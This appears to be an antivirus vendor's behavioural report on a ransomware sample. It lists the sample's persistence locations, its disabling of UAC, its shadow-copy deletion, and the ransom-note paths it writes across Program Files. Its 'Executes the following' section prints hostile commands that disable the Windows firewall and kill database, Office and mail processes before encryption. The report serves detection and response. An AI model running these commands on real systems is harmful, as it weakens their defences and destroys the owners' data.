Trojan.Encoder.35262

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

<SYSTEM32>\tasks\microsoft_auto_scheduler
%APPDATA%\microsoft\windows\start menu\programs\startup\desktopini.exe

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'

Creates the following files on removable media

<Drive name for removable media>:\read_me!_.txt
<Drive name for removable media>:\correct.avi
<Drive name for removable media>:\delete.avi
<Drive name for removable media>:\split.avi
<Drive name for removable media>:\archer.avi

Malicious functions

To complicate detection of its presence in the operating system,

blocks the following features:

User Account Control (UAC)

deletes volume shadow copies.

Executes the following

'%WINDIR%\syswow64\netsh.exe' firewall set opmode mode=disable
'%WINDIR%\syswow64\taskkill.exe' /im mysqld-opt.exe
'%WINDIR%\syswow64\taskkill.exe' /im dbeng50.exe
'%WINDIR%\syswow64\taskkill.exe' /im sqbcoreservice.exe
'%WINDIR%\syswow64\taskkill.exe' /im excel.exe
'%WINDIR%\syswow64\taskkill.exe' /im infopath.exe
'%WINDIR%\syswow64\taskkill.exe' /im msaccess.exe
'%WINDIR%\syswow64\taskkill.exe' /im mysqld.exe
'%WINDIR%\syswow64\taskkill.exe' /im mysqld-nt.exe
'%WINDIR%\syswow64\taskkill.exe' /im mspub.exe
'%WINDIR%\syswow64\taskkill.exe' /im powerpnt.exe
'%WINDIR%\syswow64\taskkill.exe' /im steam.exe
'%WINDIR%\syswow64\taskkill.exe' /im thebat.exe
'%WINDIR%\syswow64\taskkill.exe' /im thebat64.exe
'%WINDIR%\syswow64\taskkill.exe' /im thunderbird.exe
'%WINDIR%\syswow64\taskkill.exe' /im visio.exe
'%WINDIR%\syswow64\taskkill.exe' /im onenote.exe
'%WINDIR%\syswow64\taskkill.exe' /im outlook.exe
'%WINDIR%\syswow64\taskkill.exe' /im ocomm.exe
'%WINDIR%\syswow64\taskkill.exe' /im tbirdconfig.exe
'%WINDIR%\syswow64\taskkill.exe' /im firefoxconfig.exe
'%WINDIR%\syswow64\taskkill.exe' /im msftesql.exe
'%WINDIR%\syswow64\taskkill.exe' /im sqlagent.exe
'%WINDIR%\syswow64\taskkill.exe' /im sqlbrowser.exe
'%WINDIR%\syswow64\taskkill.exe' /im sqlservr.exe
'%WINDIR%\syswow64\taskkill.exe' /im sqlwriter.exe
'%WINDIR%\syswow64\taskkill.exe' /im oracle.exe
'%WINDIR%\syswow64\taskkill.exe' /im ocssd.exe
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall set rule group="Network Discovery" new enable=Yes
'%WINDIR%\syswow64\taskkill.exe' /im dbsnmp.exe
'%WINDIR%\syswow64\taskkill.exe' /im agntsvc.exe
'%WINDIR%\syswow64\taskkill.exe' /im mydesktopqos.exe
'%WINDIR%\syswow64\taskkill.exe' /im isqlplussvc.exe
'%WINDIR%\syswow64\taskkill.exe' /im xfssvccon.exe
'%WINDIR%\syswow64\taskkill.exe' /im mydesktopservice.exe
'%WINDIR%\syswow64\taskkill.exe' /im ocautoupds.exe
'%WINDIR%\syswow64\taskkill.exe' /im encsvc.exe
'%WINDIR%\syswow64\taskkill.exe' /im synctime.exe
'%WINDIR%\syswow64\taskkill.exe' /im winword.exe
'%WINDIR%\syswow64\taskkill.exe' /im wordpad.exe

Modifies file system

Creates the following files

%HOMEPATH%\appdata\h4_svc.bat
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\mozapps\handling\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\mozapps\passwordmgr\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\mozapps\places\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\mozapps\plugins\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\mozapps\profile\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\mozapps\update\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\mozapps\viewsource\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\mozapps\xpinstall\read_me!_.txt
%ProgramFiles%\firefox\components\read_me!_.txt
%ProgramFiles%\firesvc\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\mozapps\downloads\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\mozapps\extensions\read_me!_.txt
%ProgramFiles%\firetray\read_me!_.txt
%ProgramFiles%\flock\read_me!_.txt
%ProgramFiles%\foxit\read_me!_.txt
%ProgramFiles%\fpavserver\read_me!_.txt
%ProgramFiles%\fpavupdm\read_me!_.txt
%ProgramFiles%\fprottray\read_me!_.txt
%ProgramFiles%\fpscan\read_me!_.txt
%ProgramFiles%\fptrayproc\read_me!_.txt
%ProgramFiles%\fpwin\read_me!_.txt
%ProgramFiles%\freshclam\read_me!_.txt
%ProgramFiles%\fsample\read_me!_.txt
%ProgramFiles%\flashfxp\read_me!_.txt
%ProgramFiles%\flashgot\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\mozapps\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\global\tree\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\global\toolbar\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\global\tree\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\mozapps\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\mozapps\downloads\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\mozapps\extensions\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\mozapps\handling\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\mozapps\passwordmgr\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\mozapps\places\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\mozapps\plugins\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\mozapps\profile\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\mozapps\update\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\mozapps\viewsource\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\global\toolbar\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\mozapps\xpinstall\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\global\alerts\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\global\arrow\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\global\checkbox\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\global\console\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\global\dirlisting\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\global\icons\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\global\media\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\global\printpreview\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\global\radio\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\global\scrollbar\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\global\splitter\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\global\read_me!_.txt
%ProgramFiles%\fsaua\read_me!_.txt
%ProgramFiles%\fsav\read_me!_.txt
%ProgramFiles%\helpctr\read_me!_.txt
%ProgramFiles%\fsav32\read_me!_.txt
%ProgramFiles%\fssf\read_me!_.txt
%ProgramFiles%\fssg\read_me!_.txt
%ProgramFiles%\fssm32\read_me!_.txt
%ProgramFiles%\fsstm\read_me!_.txt
%ProgramFiles%\fssw\read_me!_.txt
%ProgramFiles%\fstlui\read_me!_.txt
%ProgramFiles%\fsuninst\read_me!_.txt
%ProgramFiles%\fsus\read_me!_.txt
%ProgramFiles%\ftpte\read_me!_.txt
%ProgramFiles%\gc\read_me!_.txt
%ProgramFiles%\fspex\read_me!_.txt
%ProgramFiles%\fsqh\read_me!_.txt
%ProgramFiles%\gcasdtserv\read_me!_.txt
%ProgramFiles%\gg\read_me!_.txt
%ProgramFiles%\giantantispywaremain\read_me!_.txt
%ProgramFiles%\giantantispywareupdater\read_me!_.txt
%ProgramFiles%\gnotify\read_me!_.txt
%ProgramFiles%\googledesktop\read_me!_.txt
%ProgramFiles%\googletalk\read_me!_.txt
%ProgramFiles%\googleupdate\read_me!_.txt
%ProgramFiles%\guardgni\read_me!_.txt
%ProgramFiles%\guardnt\read_me!_.txt
%ProgramFiles%\gw\read_me!_.txt
%ProgramFiles%\gcasserv\read_me!_.txt
%ProgramFiles%\ge\read_me!_.txt
%ProgramFiles%\fspc\read_me!_.txt
%ProgramFiles%\fsmb32\read_me!_.txt
%ProgramFiles%\fsma32\read_me!_.txt
%ProgramFiles%\fsavgui\read_me!_.txt
%ProgramFiles%\fsavstrt\read_me!_.txt
%ProgramFiles%\fsavwsch\read_me!_.txt
%ProgramFiles%\fsavwscr\read_me!_.txt
%ProgramFiles%\fsbwsys\read_me!_.txt
%ProgramFiles%\fsdbuh\read_me!_.txt
%ProgramFiles%\fsdc\read_me!_.txt
%ProgramFiles%\fsdfwd\read_me!_.txt
%ProgramFiles%\fsdiag\read_me!_.txt
%ProgramFiles%\fsdiagui\read_me!_.txt
%ProgramFiles%\fsfwwsch\read_me!_.txt
%ProgramFiles%\fsavaui\read_me!_.txt
%ProgramFiles%\fsfwwscr\read_me!_.txt
%ProgramFiles%\fsgk32\read_me!_.txt
%ProgramFiles%\fsgk32st\read_me!_.txt
%ProgramFiles%\fsguidll\read_me!_.txt
%ProgramFiles%\fsguiexe\read_me!_.txt
%ProgramFiles%\fshdll32\read_me!_.txt
%ProgramFiles%\fshelp\read_me!_.txt
%ProgramFiles%\fshotfix\read_me!_.txt
%ProgramFiles%\fsihcomp\read_me!_.txt
%ProgramFiles%\fsihs\read_me!_.txt
%ProgramFiles%\fslaunch\read_me!_.txt
%ProgramFiles%\fsm32\read_me!_.txt
%ProgramFiles%\fsgetwab\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\global\splitter\read_me!_.txt
%ProgramFiles%\fsauach\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\global\scrollbar\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\global_platform\mac\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\branding\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\browser\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\browser\downloads\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\browser\feeds\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\browser\migration\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\browser\places\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\browser\preferences\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\browser\safebrowsing\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\browser\sidebar\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\browser_region\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\cookie\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\global\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\global\dom\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\global\layout\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\global\search\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\global\security\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\global\svg\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\global\xml\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\global\xpinstall\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\global\xslt\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\alerts\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\autoconfig\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\skin\classic\communicator\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\skin\classic\browser\tabview\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\skin\classic\browser\tabbrowser\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\content\browser\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\content\browser\bookmarks\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\content\browser\certerror\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\content\browser\feeds\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\content\browser\history\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\content\browser\migration\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\content\browser\pageinfo\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\content\browser\places\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\content\browser\preferences\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\content\browser\safebrowsing\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\content\browser\search\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\content\branding\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\skin\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\skin\classic\aero\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\skin\classic\aero\browser\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\skin\classic\aero\browser\feeds\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\skin\classic\aero\browser\places\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\skin\classic\aero\browser\preferences\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\skin\classic\aero\browser\tabbrowser\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\skin\classic\aero\browser\tabview\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\skin\classic\browser\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\skin\classic\browser\feeds\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\skin\classic\browser\places\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\skin\classic\browser\preferences\read_me!_.txt
%ProgramFiles%\firefox\chrome\browser\skin\classic\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\global_platform\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\global_platform\unix\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\global\printpreview\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\global_platform\win\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\mozapps\downloads\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\mozapps\extensions\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\mozapps\handling\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\mozapps\plugins\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\mozapps\preferences\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\mozapps\profile\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\mozapps\update\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\mozapps\xpinstall\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\passwordmgr\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\satchel\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\global\xml\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\mozapps\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\xbl_marquee\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\global\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\global\alerts\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\global\arrow\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\global\checkbox\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\global\console\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\global\dirlisting\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\global\icons\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\global\media\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\res\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\global\svg\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\global\cpow\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\global\bindings\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\mozapps\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\mozapps\downloads\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\mozapps\extensions\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\mozapps\handling\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\mozapps\plugins\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\mozapps\preferences\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\mozapps\profile\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\mozapps\update\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\mozapps\xpinstall\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\necko\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\passwordmgr\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\global_region\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\pipnss\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\places\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\services\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\feedback\read_me!_.txt
%ProgramFiles%\firefox\chrome\pippki\read_me!_.txt
%ProgramFiles%\firefox\chrome\pippki\content\read_me!_.txt
%ProgramFiles%\firefox\chrome\pippki\content\pippki\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\cookie\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\global\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\content\global\alerts\read_me!_.txt
%ProgramFiles%\firefox\chrome\en_us\locale\en_us\pippki\read_me!_.txt
%ProgramFiles%\firefox\chrome\toolkit\skin\classic\aero\global\radio\read_me!_.txt
%ProgramFiles%\java\jre1.8.0_45\lib\security\read_me!_.txt
%ProgramFiles%\microsoft office\office14\library\solver\read_me!_.txt
%ProgramFiles%\hregmon\read_me!_.txt
%ProgramFiles%\microsoft office\office14\convert\read_me!_.txt
%ProgramFiles%\microsoft office\office14\convert\1033\read_me!_.txt
%ProgramFiles%\microsoft office\office14\document parts\read_me!_.txt
%ProgramFiles%\microsoft office\office14\document parts\1033\read_me!_.txt
%ProgramFiles%\microsoft office\office14\document parts\1033\14\read_me!_.txt
%ProgramFiles%\microsoft office\office14\en\read_me!_.txt
%ProgramFiles%\microsoft office\office14\forms\read_me!_.txt
%ProgramFiles%\microsoft office\office14\forms\1033\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\certificates\read_me!_.txt
%ProgramFiles%\microsoft office\office14\bibliography\style\read_me!_.txt
%ProgramFiles%\microsoft office\office14\borders\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\certificates\groove.net\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\certificates\groove.net\servers\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\certificates\verisign\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\certificates\verisign\components\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\sounds\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\sounds\people\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\sounds\places\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\sounds\things\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\toolbmps\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\certificates\groove.net\components\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\certificates\groove.net\managedobjects\read_me!_.txt
%ProgramFiles%\microsoft office\office14\bibliography\sort\read_me!_.txt
%ProgramFiles%\microsoft office\office14\bibliography\read_me!_.txt
%ProgramFiles%\microsoft office\office14\addins\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\grooveforms5\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\grooveforms5\formsstyles\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\grooveforms5\formsstyles\americana\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\grooveforms5\formsstyles\babyblue\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\grooveforms5\formsstyles\biscay\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\grooveforms5\formsstyles\brightorange\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\grooveforms5\formsstyles\brightyellow\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\grooveforms5\formsstyles\desert\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\grooveforms5\formsstyles\graycheck\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\grooveforms5\formsstyles\lime\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\grooveforms5\formsstyles\oasis\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\dataservices\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\grooveforms5\formsstyles\slate\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\grooveforms5\formsstyles\solutions\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\grooveforms5\formsstyles\springgreen\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\grooveforms5\formsstyles\sts2\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\grooveforms5\formsstyles\swirl\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\pubftscm\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\pubspapr\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\quickstyles\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1036\read_me!_.txt
%ProgramFiles%\microsoft office\office14\3082\read_me!_.txt
%ProgramFiles%\microsoft office\office14\accessweb\read_me!_.txt
%ProgramFiles%\microsoft office\office14\accwiz\read_me!_.txt
%ProgramFiles%\microsoft office\office14\1033\grooveforms5\formsstyles\softblue\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\calendar\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\computers\read_me!_.txt
%ProgramFiles%\hipsdiag\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\discussion\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms4\formsstyles\lime\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms4\formsstyles\oasis\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms4\formsstyles\slate\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms4\formsstyles\softblue\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms4\formsstyles\springgreen\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms4\formsstyles\sts2\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms4\formsstyles\swirl\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms5\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveprojecttoolset\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveprojecttoolset\projecttool\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms4\formsstyles\desert\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms4\formsstyles\graycheck\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveprojecttoolset\projecttool\project report type\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\welcome tool\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\toolicons\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\xml files\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\xml files\space templates\read_me!_.txt
%ProgramFiles%\microsoft office\office14\infopathom\read_me!_.txt
%ProgramFiles%\microsoft office\office14\infopathom\infopathomformservices\read_me!_.txt
%ProgramFiles%\microsoft office\office14\infopathom\infopathomformservices\infopathomformservicesv12\read_me!_.txt
%ProgramFiles%\microsoft office\office14\infopathom\infopathomv12\read_me!_.txt
%ProgramFiles%\microsoft office\office14\library\read_me!_.txt
%ProgramFiles%\microsoft office\office14\library\analysis\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveprojecttoolset\projecttool\project report type\basic\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveprojecttoolset\projecttool\project report type\fancy\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms4\formsstyles\brightyellow\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms4\formsstyles\brightorange\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms4\formsstyles\biscay\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\groovedocumentreview\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms\fieldtypepreview\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms\formstemplates\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms3\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms3\formsstyles\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms3\formsstyles\americana\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms3\formsstyles\babyblue\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms3\formsstyles\biscay\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms3\formsstyles\brightorange\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms3\formsstyles\brightyellow\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\documentshare\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms3\formsstyles\desert\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms3\formsstyles\lime\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms3\formsstyles\oasis\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms3\formsstyles\slate\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms3\formsstyles\softblue\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms3\formsstyles\springgreen\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms3\formsstyles\sts2\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms3\formsstyles\swirl\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms4\read_me!_.txt
%ProgramFiles%\microsoft office\office14\groove\tooldata\groove.net\grooveforms4\formsstyles\read_me!_.txt
